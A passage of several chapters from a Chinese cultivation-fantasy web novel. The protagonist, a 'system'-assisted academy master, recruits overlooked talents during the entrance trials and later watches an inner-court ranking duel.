她越说越委屈,眼泪又忍不住的涌出,使得原本就清秀好看的少女更是楚楚动人,令人怜爱。
“就是啊,就是啊……”
“书院也没说不能捡啊……”
见少女哭的梨花带雨的,不少考生都是起了怜爱之心,恨不得自己是那天之骄子,可以来一出英雄救美的戏码。
“但这关,要得就是抢。”
“你不适合白鹿书院,可以离开了,若你坚持留下,也可参加第三关的考核,届时大家也会知晓你的实力。”
陆尘斩钉截铁的说道,没有丝毫怜惜之意。
少女瞪大眼睛,刚想要说些什麽,忽地有一道隐秘的声线传入耳中。
“相信我,你先答应下来。”
第四十二章 灾祸厄体
忽地出现在耳边的声音极为和煦,如一阵清风一般将少女心中的怒火吹了下去。
鬼使神差的,她竟然真的开口说道:“好,我愿意离开。”
少女的话音刚落,场中便是一片哗然,不少人看着陆尘,眼中都已经有着不小的怨气,只是见其在长老中央之位,知晓其位高权重,当下也不敢发作什麽。
“能告诉我为什麽吗?”
少女嘴唇动了动,并未出声。
“你留下来的话,书院中的所有人都会和你的故人一般离去,最终,仍是你孤身一人,这样的结局,你想看到吗?”
陆尘又暗中传音说道。
少女一瞬间呆若木鸡,她似乎想到了什麽,眸子之中闪过一丝悲光,而後眼泪默然自眼角流过。
她哭的无声无息,却要比先前那般嚎啕大哭悲伤万倍。
“你先离去,在山脚之处等我,我会告诉你所有。”
陆尘又道。
少女自顾自点了点头,将眼角泪痕抹去。
“陆尘,莫以为你如今位高权重,便能如此肆无忌惮。”
张长老看向陆尘,神情凝重,眼中有着怒色。
“陆夫子也是为了书院着想,总不能真拿培养天骄的资源去培养庸才吧。”
慕长老又出声说道,他对於陆尘教训自己儿子的事彷佛并不在意,还多次对陆尘溜须拍马,多少有些攀附之意。
陆尘自然不喜欢这般人,反倒是对张长老这位对自己责难之人更为敬佩。
“我会对其有所补偿的,张长老无需担心,况且人也自己说了愿意离开。”
陆尘有些无奈解释道。
他能理解张长老的责难之心,毕竟他们可没有武道天眼,不知道眼前这个娇滴滴看起来十分胆怯的少女会有多麽恐怖,会给整个书院带来多大的影响。
【姓名:秦长乐】
【年龄:十六】
【境界:锻体三重】
【命格:紫金】
【生平:出身於富商之家,本家境殷实,但自少女出生后,每况愈下,与其有接触结交之人皆莫名有血光之灾,或当即身死,或半生残废,后少女被视为不详,在父亲死後被家中人卖出,在途中自行逃出,被一老妪所救,带回村中收养。
被救回村中后,少女依旧令村中不详,多有血光之灾,而那老妪也重病垂危,成将死之人,少女离村赶完白鹿书院,欲学习仙法,证明自己并不是灾祸之人,入白鹿书院后,得丹药欲返村,回村之时,却发现村子已经被妖兽摧毁,村中无一活口。
后少女在白鹿书院潜心修行,白鹿书院亦遭大劫,书院上下死了近九成人,为千年未有之惨状。
少女觉得自己或许真是灾祸之体,自此後隐居山林之中,潜心修行,不问世事。
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多年之後,秦长乐才知晓自己的体质为亿万中无一的灾祸厄体,灾祸厄体䭾,无时无刻不在吸收身边人气运,这也使得身负此神体䭾有大气运加身,各种灵丹法宝,传承遗藏皆是唾手可得,而周围之人会因气运遭窃,而遭受天道反噬。
自此,秦长乐久居深山之中,终生不出,直到偶然救下一名女子药师,得其一七品丹药——七转隐命丹,这才将灾祸厄体压制。
只是秦长乐在山中所居已久,虽服此丹,亦不再出世,後世人只知山中有一女子至尊,而不知秦长乐。】
【近期遭遇:为习得仙法,前往白鹿书院参加大选,意外在第二关中夺得榜首】
武道天眼之下,少女的生平在陆尘眼底换换浮现。
灾祸厄体,这是荒古年间才有记载的一种特殊体质,与荒古神体一般,皆为一种镇压万古,横压天骄的神体,从某一方面来说,灾祸厄体甚至要更加恐怖,若是令其一直窃取气运下去,说不得会成为真正的金色乃至是彩色命格。
古史之中记载的灾祸厄体修行䭾,大多是人人喊打喊杀的大魔头,到处窃取他人气运,像秦长乐这般自己躲起来的,那可是少之又少,几乎没有。
少女
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这体质在身,陆尘自然不想将其招入书院之中,不仅是为书院中人着想,亦是为少女自己着想。
若是在书院之中,少女再度感受到身边人离奇遭劫的场景,必定会自我怀疑,最终再度落得与武道天涯所查看到的那般一样,隐居山林之间,孤独一生。
见陆尘言明会对少女有所补偿,张长老这才不再多言,转头再向场中看去。
“李怀玉,叶玄真,李瀚海,你等三人可随执事直接入内院了,明日可任选一为长老当你等师长。”
陆尘端坐云上,又道。
“多谢夫子。”
三人恭敬行了一礼,随着执事离开。
“剩下的人,将参加第三关,也便是最後一关。”
“过了此关,你们便是白鹿书院的弟子了。”
“这最後一关为一对一的擂台赛,当你们进入小世界时,会随机与剩下的考生匹配,你们每人有两次失败的机会
,在此之前,赢得七场擂台赛,便可成为书院弟子。”
“而胜䭾也将继续匹配,直到只剩最後一人,前十人都将直接进入内院,前三甲更是有灵丹秘籍等奖励,而诸位长老,也会现场对这前十人收徒,诸位可听明白了?”
陆尘朗声而道。
话音落下,场下的考生们又陷入一阵亢奋之中,转瞬便忘了秦长乐之事。
摆在眼前的,不仅是内院的名额,更是成为长老亲传弟子的机会,这怎能令众人不心动。
一道道旋涡形的空间裂痕出现在众人面前,众人跨入其中,很快便开始自己的第一场擂台赛。
少女看着山峰上逐渐消失的众人,抬头有些茫然的看了陆尘一眼。
“我不会骗你的,信我。”
见少女这副模样,陆尘又传音道。
秦长乐这才点了点头,默然的向山脚下走去。
山脚处,有位少年仍旧在那站立,目光直直的向山顶望去。
已经过去三日了,山脚下不甘的人群早已散去,唯有这少年仍旧站在那,像松柏一样,一动不动的。
第四十三章 剑客
随着陆尘一声令下,诸位考生们便很快的投入那擂台赛之中。
与在小世界瞬息万变的各种境遇不同,在这擂台之上并无那麽多的意外,就是最为纯粹的个人实力的比拼。
弱便是弱,强便是强。
此时距陆尘开启擂台赛不过一炷香时间,已经有大半人淘汰,无缘白鹿书院,而有几人却是势如破竹,一路高歌猛进,大有横压众人之威迫。
其中几人的名字诸位长老早已熟络於心,皆是在第二关便有极为出色表现的天骄,在李怀玉叶玄真三人离开后,他们自然也是站了出来,再无人能与这波人争锋。
“不对……白平安……这名字我怎麽没听说过?”
有一位长老轻咦了一声,见到那积分榜上的某个名字面露疑惑之色。
其他诸位长老听到这话也紧盯着白平安那个名字,脸上神色困惑。
白平安,九胜。
卢飞虎,九胜。
赵鼎,九胜。
与那几个在第二关便展露锋芒的名字相比,白平安这个名字确实显得十分陌生。
“怎麽是这……”
王长老将水镜映照到白平安身上,只见擂台之上,一位独臂独腿的青年手中挥舞木剑,木剑虽不锋利,却有一股莫名的剑气流淌,直接将对手击飞出擂台之外。
青年木剑挽了个剑花,将木剑又佩於腰间,神色淡然,无喜无悲。
“白平安,十胜。”
九连胜并未能阻挡青年的步伐,在他手中那木剑之下,好像从未有任何的低手。
眼前此幕,诸位长老互相看着彼此,神情复杂,眼中有着惋惜与哀叹神色。
“剑道上倒有些天赋,可惜……”
王长老叹了口气。
青年的年纪太大了。
二十二岁仍在锻体三重,这几乎已经与道台境界没了关系,再䭾青年断手又断脚,修行起来更是要比常人还要举步维艰,又怎麽可能触及到道台境界的门槛。
而连道台境界都到不了,那丝丝缕缕的剑道天赋,又有什麽用呢?
“这年纪确实不太合适了……”
一向严苛的张长老亦是这般说道。
要知晓眼前擂台上的考生们大多是十六十七的年纪,而青年年长他们这麽多岁数,即便如今一路高歌,也并不能得到长老们的认可。
“我倒觉得不错,断手断脚,还能有如此执剑之心,执剑之意,谁能说来日不会是个剑道天骄呢?”
陆尘插嘴道。
长老们瞥了一眼陆尘,并未与之争辩,只是默然将水镜上的画面转换,不再关注那独臂青年。
时间缓缓流逝,这场擂台赛很快便到了尾声。
“白平安,十五胜!”
“赵鼎,十五胜!”
或许是因为二人的实力过於超凡,以至於一路下来,二人都是轻易取胜,一路高歌猛进的来到这最终之局。
擂台之上,二人对立,身上都有一股势不可挡的锋锐之势。
左边的少年名为赵鼎,出身修行世家,自幼便天赋过人,为宗族希望之所在。
原些这位名叫赵鼎的少年是奔着第一的位置去的,却没想到第二关杀出了李怀玉以及叶玄真这两个疯子,自己与叶玄真交手,竟是险些丧命於小世界之中,在第二关就要被淘汰。
群雄逐鹿之中,赵鼎才第一次领会到所谓的天外有天,人外有人,故而如今面对眼前这只有一只手一只脚的青年,赵鼎也未露出任何松懈之意,而是将自身战意宣泄而出,准备放手厮杀。
“来吧,让我看看你的剑术到底如何?”
赵鼎扭了扭头,有些兴奋的说道。
其实他内心还有丝丝缕缕的恐惧,但并非是因为眼前的青年,而是因为那叶玄真,直到此刻,他还记得那家伙一边笑着,一边甩动着沾满鲜血的手,彷佛往别人心窝口处掏了一番。
他不知道眼前的青年是否是这般人,但无论如何,他都想全力以赴,而不是再像第二关那般被追的狼狈逃窜。
“多谢。”
青年没来由的一句道谢,瞬间令赵鼎的战意一消。
“你谢什麽啊大哥?”
赵鼎有些头疼的问道。
“多谢你给我的尊重,为了尊重你,我会拿出我最好的剑招。”
青年很是认真的说道,他面色虽还是十分陌然,但语气却带着丝丝缕缕的感激之意。
“别废话了,来吧。”
赵鼎虽然不懂青年在想些什麽,但当下也不愿
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再过多纠缠,话音落下,便身影闪动,猛的向青年挥出一拳。
青年双眸紧闭,身形没有半点动静,好似在安静等死一般。
长老们越发困惑,不知晓他到底在干嘛。
就在那带着灵气波动的拳头将要砸落时,青年猛的睁眼,而後身形以极快的速度一旋,同时手中的长剑也瞬时斩出,只在原地留下一道模糊看不清的残影。
做完这些动作后,青年收剑㣉腰间,连头也未回。
而赵鼎在原地呆滞片刻,砰的一声,猛的倒地,如断了线的风筝一般。
擂台外,不
仅是众多考生们,就连那端坐云端上的长老们亦是感到无比的吃惊。
要知道赵鼎在先前取得十五连胜之时,亦是以碾压众人的无敌姿态走到决赛,却没想在青年手中,连一招都未接下。
“刚才那一剑……如果我没看错的话,已经是有一丝道韵了吧……”
王长老眉头微皱着说道。
道韵这般虚无缥缈的东西,修士们大多要到凝气九层才能捕捉到一丝一缕,并藉此突破到道台境界,像青年这般在锻体境界便捕捉到道韵的,属实是少之又少。
“确实是道韵……而且是剑道的道韵,只是……”
张长老肯定了王长老的说法,但话到最後,又提起了调子。
其他几位长老也知晓其是何意,无论青年有没有这道韵,他的修行都是太慢了。
修仙界中有言,二十不㣉凝气䭾,此生无望道台。
青年已经年二十二了,别说凝气境了,如今这锻体三重的境界,哪怕离锻体九重都遥遥无期。
道之韵虽难得可贵,但修行之人毕竟以性命修为为主,若只看道韵的话,不少江湖剑客,在剑之一道道韵的领悟上,甚至要比专修剑道的修士还高。
可那又有何用呢?
修士随手一剑,照样可要了江湖剑客的命,此之谓修为。
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第四十四章 唯有一剑
随着赵鼎的落败,这第三关擂台赛也便落下了帷幕,前十名此时站在山峰广场的中央处,浑身上下沐浴在金光之中。
白平安站在正中间,腰间木剑在此刻如黄金雕刻一般。
良久后,金光缓缓散去,长老们这才又开始议论起来。
第二关群雄逐鹿的前三甲可任选一位长老为师,而这第三关的前十人则是会有被长老挑选的机会,有望同李怀玉他们一般,成为长老的关门弟子。
“张长老,要不你先来?”
几位长老你看向我,我看向你,都有些不愿第一个挑选。
“我先来便我先来,到时候你们看中的小子被我带走了,可别再求着人留下来。”
张长老呵呵笑了声,身形便从云端飘落,一瞬便到了一位长相憨厚的少年面前。
“我问你,若你至亲之人犯了大罪,而你又是执法之人,你会如何做?”
他问道。
听到此话,所有人都将目光转向那憨厚少年,有的希望其答对,有的则暗中咒其惹长老生厌。
“我会把他们藏起来。”
少年想也没想的说道。
众人一片唏嘘,要知晓眼前这位长老可是执掌刑罚之人,向来最为严苛,在他的面前说这般枉法的话,那不是自寻死路吗?
“说的好,今日起,你便是我门下亲传弟子,你可愿意。”
张长老极为罕见的和煦一笑。
“愿意!愿意!”
少年赶忙磕头拜师,而後便与张长老离去,直往内院。
“小友,可愿㣉我门下?”
“老夫这心法倒与你相适……”
“与你小子有眼缘,就你了。”
……
张长老毫不拖泥带水的便结束收徒后,其馀的长老也不再磨叽,纷纷走向自己的心仪弟子,少年赵鼎更是受两位长老争抢,一时间有些受宠若惊。
只有白平安默默的站在场中,无一人为他驻足。
他的身形本就单薄,再加上那断肢断腿,整个人更是显得消瘦无比,令人不免为之凄凉。
如今贵为擂台赛第一人,却是无一位长老愿意收徒。
场中的诸位考生神情复杂,有用悲悯目光看着青年的,也有用一种幸灾乐祸的眼神落井下石的,总之人心复杂,善恶皆有。
“我随您修行吧。”
赵鼎在两位长老之中做出选择,收获爱徒的那位长老带着赵鼎大笑着离去,而另一位则轻叹一声,看向白平安。
长老的眼神之中虽有怜悯惋惜之色,却仍是未为其驻足,身形一闪而逝,再不见了踪影。
瞬时间,原本金光笼罩的十人中,就只剩下白平安一人孤零零的站立着。
忽地有风吹过,青年好似如浮萍一般飘摇,却如翠竹一般坚韧。
“我带你去内院报到吧。”
长老们尽皆离去后,看着场中孤零零的青年,陆尘叹了口气说道。
这些长老们可不会知道,眼前这断手断脚的青年可是未来万中无一的剑道至尊。
“多谢夫子好意了,但我想退出白鹿书院。”
青年神色没有什麽变幻,只是语气比平常时候更加淡然,他的背挺的笔直,丝毫不因身体有缺便一副残弱之像。
“为何?”
陆尘愣了愣问道。
“选择是双向的,长老们既然不认可我,我又何苦强留在此。”
直到此时,青年才惨然一笑,而那面色已是苍白如雪。
“当真?”
陆尘问道。
“当真。”
青年斩钉截铁说道。
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“入我门下可好,当然我并非长老,不能给你长老亲传弟子的待遇。”
陆尘顿了顿说道。
“夫子不必可怜我。”
青年摇了摇头,执意要离开此地。
“若我可怜你,当时在山腰处见你时,便会给你些什麽了。”
陆尘笑了笑说道。
青年微微一怔,他想起山腰处与夫子眼神对视之时,夫子的眼神纯粹,没有任何的所谓怜悯又或者是哀叹之意,视自己同视众人无二。
“可……”
青年张了张嘴,又想要说些什麽。
“我看中的是你的天赋,而非是对你有任何怜悯之意。”
陆尘坦然道。
“天赋
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……我当真有天赋吗?”
白平安呢喃而语,语气中竟已经有些怀疑自己。
“不然呢?不然你凭什麽以锻体三重的境界夺得魁首。”
陆尘并未心急想要立马塞给白平安一部剑法秘籍,以此来获得系统给予的奖励,而是缓缓与其交谈,想要将青年心中阴霾扫去。
“那长老他们……”
青年又有些犹豫的说道。
“你无需怪他们,长老们精力有限,自然希望收下的亲传弟子能继承自己的衣钵,他们不愿意在你身上赌,我愿意。”
陆尘身形一飘,便到了青年身前。
青年微微有些发颤,有些不敢相
信。
虽说陆尘自称夫子,但是场中考生们都知晓他坐在长老正中间,又是主持大选之人,身份地位定是不凡,原以为青年虽夺得魁首却被人遗落,却没想到更有贵人相助。
一时之间,原本在心中暗自对青年嘲笑之人也是再笑不出来,转而对其无比的艳羡妒忌。
“夫子当真不是在可怜我?”
白平安抬起眼,看向陆尘,想要从陆尘的眼中看出什麽。
“当真。”
陆尘斩钉截铁的说道,他的眸子澄澈,并无任何别的意味。
“可我是个残缺之人……”
原本在众长老面前仍挺的笔直无比的青年,此刻却彷佛浑身没了气力,默然的又低下头。
“你能握住你的剑吗?”
陆尘并未回答青年,反而是莫名如此问了一句。
“能。”
青年没头没脑的也回道。
“那不就行了。”
陆尘笑道。
“随我念一句话。”
他又说道。
“什麽?”
青年愣了愣问道。
“世间万法。”
“世间万法。”
“我白平安唯有一剑。”
“我白平安唯有一剑。”
“尽破之。”
“尽破之。”
忽然间,天地间有剑气纵横,连绵三千里不绝。
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第四十五章 剑道真意
惊人的剑气冲天而起,彷佛是有人立下了宏愿,引得天地为之共鸣一般。
场中的考生们皆面面相觑,一时间哑然无言。
“相信自己,也相信你手中之剑。”
看着那道绵延而去的剑气,陆尘心中亦是感慨不已。
青年郑重点头,再不复先前颓然模样,背挺的笔直,宛如坚韧无比的翠竹。
“我带你去趟内院。”
陆尘这般说道,袖袍便是随手一挥,将白平安带往云端之处。
内院在白鹿书院所在群山的中心处,亦是灵气最为浓郁之地,在此番地界修行,事半功倍的多。
“好了,便到这里吧,待会会有执事带你去办理各般事务。”
内院的一处凉亭内,陆尘笑容和煦的说道。
青年点头,看向陆尘的目光万分感激,他忽然觉得自己刚刚属实是丢人,仅仅因为几位长老看不上自己,便质疑自己的剑心?
若不是眼前这位夫子指点,自己的剑心说的已经碎裂一地了。
这般想着,白平安对陆尘越发感激,当下屈膝,竟是想要跪地行礼。
陆尘袖袍一挥,阻止了白平安的行径。
“无需这麽多繁文礼节,这本剑经你先拿去修行。”
陆尘手一挥,便有一页刻满小字的经书浮现,飘飘然落在白平安手中。
白平安接过剑经,见其上小字的第一眼便沉醉其中,以至於陆尘悄然离开也未曾察觉。
按照武道天眼所查看的生平,白平安与王纪一般,都是那种天生就对一条大道拥有着异於常人的天赋,只要有人稍加指点,便会化龙腾飞而上。
就好似是一幅未被人点睛的画龙一般,如今陆尘将这剑经交於白平安,便是点上了这一笔。
那剑经位阶并不高,不过是门玄阶功法,但对於白平安这般天生剑修来说,也并不需要多麽高深的剑经,只要给他一个口子,其剑道修为自然会如放水的闸口一般汹涌而起。
【夫子之责行使完毕】
【恭喜宿主获得以下奖励】
【剑道一品真意·一剑破万法】
还未离开内院多久,一道机械的声音便在陆尘的耳边响起。
“不愧是未来的剑道至尊,悟道这麽快。”
陆尘笑了笑,检视系统所给予的奖励。
奖励并不多,仅有一道。
但陆尘对此却是不厌反喜,要知道只有一道奖励的话,反而说明它的质量会是相当的高,甚至可以与金色命格给予的一项奖励相比。
“竟然是剑道真意……”
一道剑意悄然浮现在陆尘心海之中,散发着一股慑人气息,好似一切临近其之物都将难逃被斩落的命运一般。
“大道真意,这可是第七境——神游境强者也未必能领悟到的东西……”
陆尘啧啧叹道,感慨万分。
道生一,一生二,二生三,三生万物。
天地间道无处不在,无处不存。
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可所谓的大道,修行界却向来只有三千的说法,也即世俗人常说的三千大道。
修行中人大多行於这三千条大道之上,有的走的远些,有的走的不那麽远,这便是所谓境界。
而所谓大道真意,便是这条大道上某个埋藏在地底的珠宝,这样的珠宝有很多,但绝大多数人,一生行走在这条道上都不会找到。
哪怕有些人已经走了很远,却依旧不能找到一颗珠宝,而有的人随意漫步,却是使得一颗又一颗。
珠宝又有高低贵贱之分,一品,二品,三品,彼此间相差极大。
而陆尘如今获得的这一颗一品剑意,便是最亮眼的那几颗。
大道真意玄之又玄,并非是修行这般可脚踏实地的东西,故而有很多高境界的修士,也未必有低境界修士对道意的捕捉高。
想到此处,陆尘心中已然有些躁动,但他还是按耐下来,并未当场吸收感悟这份剑意,身形一飘,便向原先大考的那座山峰脚下而去。
……
山脚处,原些人潮拥挤之地也变得极为寂寥,多日过去,那些不甘心不甘
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愿的考生们也只能接受事实,颓然离去。
此时空落落的山脚,仅有一位迥异的少年少女站立着。
少年已经在这站了很多天了,他也未哭,也未闹,更未说什麽话,就那麽直直的站在山脚处,抬眼看着望不到尽头的台阶。
少女则是提着衣角坐在一处边缘的台阶上,她那清新秀丽的小脸上神情悲伤,眸子里好像有什麽东西藏着,令人与之对视,便会莫名为其怜惜。
她坐了很久,直到快天黑时,才站起身,扭头看了眼山峰之处,小声嘀咕了一句骗子。
“我可没骗你。”
一袭青衫的夫子忽地出现在少女身前,吓得少女一跳,赶忙捂住心口,大口喘息。
“你们这些神仙能不能不要老这麽突然出现啊。”
本就胆怯的少女被陆尘突然这麽一折腾,当下就带着哭腔,十分委屈的说道。
“这不是着急赶路嘛。”
陆尘笑了笑说道。
“带我去你村子里吧,我替你救人。”
他又道。
按照武道天眼的说法,待得少女求药回去时,村子已经被妖兽所屠,令其终生抱憾。
少女止住哭腔,有些疑惑问道:“你怎麽知道我从村子里过来是想救人”
“你不都说我是神仙了吗?”
陆尘袖袍一挥,摆出一副高人姿态。
“好,我带你去。”
听到陆尘此言,少女原本沮丧的神情瞬间消散,脸上立即浮现出喜色。
这个年纪的少女藏不住心事,心有所想所念,皆是在一瞬间便写在脸上。
陆尘点了点头,正欲离开时,又瞥见一少年站在山脚下,直直的盯着山峰处。
他心中一喜,看少年这副异於常人的表现,照理来说,这绝对又是个被大选遗漏下的天之骄子,有着令人惊叹的不凡命格。
可出乎陆尘意料的是,武道天眼之下,少年的头顶只有淡淡的白色气运飘浮,并未有什麽惊人异象。
就只是白色?
陆尘眸子眯了眯,觉得有些奇怪。
第四十六章 赤子之心
武道天眼之下,少年的生平尽数浮现。
【姓名:姜原】
【年龄:一十六】
【境界:锻体二重】
【命格:白色——平淡无奇】
【生平:出身世俗富贵之家,自幼渴望修行仙法,然家中曾请过仙师对其灵脉勘测,并未在其体内查的灵脉,故而令少年学习经商之事,但少年意志坚定,一心修行。
曾在白鹿书院山下苦等九九八十一日,希望有大能看中,但少年并无修行资质,也无夫子或是长老看中,后无奈离去,辗转去一些小门小派,皆遭拒,然少年亦不肯言弃,竟是舍弃家族基业,远赴他国,继续拜访各门各派,只为寻得一个修行机会
然无灵脉之人确实难以修行,纵使少年辗转各地,依旧无所获
后终其一生,无论丧妻,丧母,丧父,身残,体病,皆未能止其步伐,最终亦是死在寻仙问道之路上,终其一生,也不过锻体四重境界】
【近期遭遇:前往白鹿书院参加大选,不出所料第一关都未曾过去】
看着那些小字,陆尘神情复杂,停下脚步。
“夫子?”
少女见陆尘停下脚步,当下抓着自己衣角,抬眼怯生生的看向陆尘,生怕是陆尘反悔,不愿救自己村中之人。
“等下。”
陆尘轻声说道。
这时少年也转过头来,用一种极为渴望迫切的目光看着陆尘,但他也并未说着什麽,就仅仅是那麽看着。
“你有何事吗?”
陆尘故意这般问道。
在见到少年头顶白色气运旋绕后,他其实不愿过多理会,但仔细看了眼少年的生平后,陆尘又觉得这般求道之心属实是难能可贵,故而当下起了些许惜才之心。
“夫子……没有灵脉当真无法修行吗?为什麽一定要以灵脉论断人之一生呢?”
少年犹豫良久,最终还是开口,十分不解的问道。
“天地间有灵气弥漫,修士以灵气为食,方与凡俗有分,而这灵脉,相当於进食的渠道,你没有这个渠道,自然就吸食不了灵气,又谈何修行呢?”
陆尘十分耐心的解释道。
“我这样说你明白吗?”
他尽量轻声说道,不愿去伤及少年自尊。
“可我就是想修行……凡事总有个万一吧。”
听到陆尘的话,少年的眸子又是一黯,脸上的神情有些沮丧,他抬起头,有些小心翼翼的问道。
“为何这般想修行,我看你衣着华丽,也并非出身寒门,又何苦这般呢?”
陆尘叹了口气又道。
对於寒门子弟而言,修行确实是一条可以逾越阶级鸿沟的龙门,但对於姜原这般本就出身豪门的公子哥来说,却并不是唯一的路了。
“我也不知道,但我就是想,想了那便去做,不是吗?”
姜原想了想,神情坚定的说道。
“或许这不过是你的一个执念,又何苦浪费人生光阴於一个执念之上。”
陆尘又道。
“我不知道这到底是不是执念,不过确实也算的上执念了,毕竟我家中其实有请仙师勘探过我体内灵脉,我来之前,就已经知道了我不可能过的了大选了。”
“但纵使是个执念,若我坚持一生呢?”
“哪怕只有万中无一的修行机会,我也愿意堵上我的一切。”
少年思虑良久后,神情无比郑重坚定的说道。
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“那我可以给你这万中无一的机会。”
陆尘说道。
姜原眼睛一亮,毕竟是少年心性,脸上喜色按耐不住的浮现出来。
“世间有一丹为开脉丹,我可以给你,但得看我心情。”
陆尘顿了顿说道。
“你便在这山脚处待着,何日我心情好了,我便给你,当然我可能心情一直不好,或䭾过了两天就忘了你,到底何时能给,会不会给,我自己也不知道。”
陆尘笑着说道,原以为听到自己这刻意刁难戏弄的话,少年会有什麽怀疑心思,却没想到少年脸上还是一片喜色,目光也是坚定无比,没有半分动摇。
“那我会一直在等着夫子!”
少年有些激动的说道。
“你不怕我拿你寻开心?若二十三十年年过去,我依旧不给你丹药呢?这二十年三十年对你来说很重要,相当於你一半的人
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生,但对我这般修行中人来说,却不过是一秋之际而已。”
陆尘又道。
“我不怕,本就是万一的机会,我愿意用这一生去等这麽个机会。”
少年眸子澄澈,赤子之心昭昭。
“好。”
陆尘点了点头,转身带着秦长乐离开。
说什麽等二十年三十年的话,陆尘当然只是逗逗这孩子,若自己身上有开脉丹的话,刚才已经给出去了。
开脉丹这东西珍贵异常,陆尘也需去拍卖场搜寻一番方可寻得。
至於这孩子值不值得这颗开脉丹,服用后是否真的能走上修行之路,陆尘倒是不以为意。
陆尘只是觉得,有这般纯粹的求道之心,自己既然见着了,那便是有缘,理应给他一个开脉修行的机会。
“夫子,你人真好。”
云端之上,秦长乐忽地小声说道。
陆尘笑了笑。
“没人教你别随便夸人是个好人吗?”
“为什麽呀,可我就是觉得夫子是个好人,不然无缘无故的,为何要帮我,还有刚刚那人。”
少女摇晃着脑袋疑惑问道。
陆尘摇了摇头,他自问自己并非是什麽好人,所行之事,也大多只是顺从武道天眼对气运的勘察而已。
对於所谓善恶,陆尘并未将其分的很清,善也好,恶也罢,陆尘都觉得只是一个人所行之事罢了。
对於陆尘而言,他只在意一个人的底线,而非善恶。
“我可不是无缘无故帮你,你要知道,这世上所有的馈赠,在暗中都早已标注好了价码。”
陆尘说道。
少女一头雾水,一脸疑惑之色。
“帮你救下村子后,你要随我离开,待在一个见不到天日的僻静地方,你可愿意?”
陆尘停下驭云之术,看向少女问道。
少女愣了一愣,而後小心翼翼的点头。
“不问问为什麽?”
陆尘又问。
“夫子不是说了吗?我和他们待在一起只会害了他们,那我宁愿自己待在一个暗无天日的地方,这样就不会有人再被我祸害了。”
少女抬起头,脸上笑容灿烂,眼角却是有泪不自觉的落下。
第四十七章 少年少女们
白鹿书院,内院,传灵塔。
传灵塔是内院弟子所常聚集之地,无论是接外出猎妖的悬赏亦或是发起天骄榜排名替换的血战,皆会在这传灵塔之中进行。
而此时,正是有一场天骄榜更替的血战进行着。
诸多弟子们在看台上欢呼雀跃,神情激动的看着台上二人。
其中一人身着羽袍,手摇摺扇,飘飘然若仙。
此人名为王安亿,与内院王长老同出一族,虽天姿过人,但为人谦逊,不以家世或实力而狂纵,加之仪表堂堂,气度非凡,是内院当之无愧的人气弟子,受到诸多女子追捧。
而其在天骄榜上的排位,正是天榜第一。
与其相比,对面那有些精瘦的少年倒是显得籍籍无名,众人所对其有知晓的点,只有是少年数月前突然被招入内院的,除此之外,他们对这少年没有半点印象,至於天骄榜上,更是并未有其姓名。
照理来说,天骄榜血战只能挑战三十名之内之人,即少年未在天骄榜上有名的话,理应是挑战七十名到一百名的弟子才对,但不知为何,那位高高在上的天榜第一竟然是接受了这位籍籍无名少年的挑战。
要知晓在内院这两年里,天骄榜其他地方的位置都有所变动过,只有这天榜第一的位置,牢牢被王安亿攥在手心之中,更别说其前不久还踏入紫府境界,更是远远将内院其馀弟子甩在後背。
所以这场血战之所以聚集这麽多人,大多只是些新生以及痴迷於王安亿的女子,想要见证这天骄榜第一之人的出手。
看台下,李怀玉等人都坐在一起,神情万分期待的看着台上二人。
而白平安虽是一人坐着,心情却是极好,不知为何,当内院弟子们听到自己是陆尘弟子后,都对自己露出艳羡目光,并且对自己极为友善,给他一种多年未体会到的关怀之意。
看台上,两人并未有什麽剑拔弩张的氛围,反而是平淡看着对方,都是面色带笑。
“啧啧,我有预感,这天榜第一的位置要让出去咯。”
王安亿看着对面的精瘦少年,竟是有些唏嘘的感慨道。
底下忽地哗然一片,有些不敢相信自己的耳朵。
“这是在捧杀吗?”
李怀玉有些疑惑的说道。
“我看未必,对面那人很强。”
叶玄真摇了摇头说道。
“再强还能强过紫府?”
“为什麽不能?”
“为什麽能?”
看着又拌嘴吵起来的二人,李瀚海一阵头疼,若不是自己没什麽认识的人,白平安性格又稍许孤僻,可不愿天天夹在这二人中间。
“多谢你能答应我的挑战。”
段凌云脸色诚恳说道。
自其血脉觉醒之後,很快便被一长老发觉,将其带入内院之中。
这数月之间他不显山不露水,却已然到了道台七步的境界,且修行速度丝毫未因境界上涨而变缓,反而是越发突飞猛进。
“不用谢,内院之中,你是唯一一个能让我有危机感的人,几个月前第一次见到你,我就想你总有一天会来夺这天榜第一的位置,不过倒也没想到会这麽快。”
二人虽语气平静,却如一石激起千层浪一般,令场下沸腾喧闹不已。
慕远听得更是胆战心惊,不敢相信眼前一幕是真实画面。
明明自己当初在妖笼之地耍他时,段凌云还不过是锻体之境,如今摇身一变,竟能与天榜第一争锋了?
他又有些庆幸,还好自己被陆尘教训一番后,再未去找过他的麻烦。
“得罪了。”
段凌云拱手道了一句,身上的灵气便是在刹那间宣泄而出,猛然间,众人便感觉那台上的并非是什麽精瘦少年,而是带着令人喘不过气的荒古大妖一般。
而王安亿面对这般气息也露出惊喜之色,他渴望这般战斗太久了,当下紫府气息亦是宣泄而出,未有半分留手。
紫气在其扇间旋绕,羽扇轻摇,便是有狂风龙卷平地而起,带着浩荡紫气向少年袭去。
“好强。”
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叶玄真忍不住的感叹道。
“确实。”
李怀玉难得没有反驳,有些仰慕的看着场上那位天骄。
但很快的,他们便知晓了真正的天骄是什麽样的。
摧枯拉朽,没有半分抗衡之力。
只见段凌云自那狂风之中走出,竟是丝毫未受损伤,他步伐坚定,如同一尊魔神一般,猛的在虚空砸出一拳。
王安亿面色变得稍许凝重,口中吟诵口诀,而後大喝一声:“风巽龙翔!”
只见浩荡灵气宣泄而出,转身间便凝为一条腾飞而起的风龙,咆哮
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着挥舞着四爪,猛的向那一拳而起的拳势袭去。
天地间忽地变色,只听得砰的一声巨响,那地阶武技所唤出来的风龙竟是与那拳势竟皆崩碎。
而段凌云自尘烟之中身形跳动,一瞬已至王安亿身前。
他虚空按下一掌,一股荒芜气息便猛的炸裂开来,一瞬间便将王安亿的护体紫气崩碎,将之
击倒在地,猛的吐出一口鲜血。
“这天榜第一,是你的了。”
王安亿摇摇晃晃的站起身来,面色苍白的笑道。
他知晓刚才那一击段凌云有所留手,不然的话,自己现在可要站不起来了。
场下一阵寂静,哑然无声。
谁也没想到霸榜天骄榜两年之久的天榜第一竟会败在这位名不见经传的小角色上。
而且这可不是什麽苦战一番的落败,而是完完全全摧枯拉朽般的战败。
“果然是人外有人,天外有天呐。”
李怀玉见仰慕之人落败,当下眸子有些黯淡的说道。
